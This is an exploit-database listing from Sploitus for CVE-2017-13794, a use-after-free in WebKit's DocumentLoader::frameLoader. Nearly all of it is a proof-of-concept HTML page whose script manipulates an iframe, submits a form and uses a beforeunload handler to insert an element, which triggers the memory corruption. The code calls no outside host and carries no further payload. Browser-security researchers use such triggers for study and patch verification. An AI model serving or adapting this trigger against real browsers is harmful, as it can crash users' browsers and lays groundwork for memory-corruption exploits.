Sploitus

Exploit for WebKit: use-after-free in WebCore::DocumentLoader::frameLoader

CVE-2017-13794

seebug · 2017-11-23

Exploit Code

MARKDOWN17 lines
## https://sploitus.com/exploit?id=SSV:96891
<script>
function go() {
  iframe.name = "foo";
  var form = document.createElement("form");
  iframe.src = "data:text/html,foo";
  form.submit();
  window.onbeforeunload = f;
}
function f() {
  document.head.appendChild(del);
}

</script>
<body onload=go()>
<del id="del">
<iframe id="iframe"></iframe>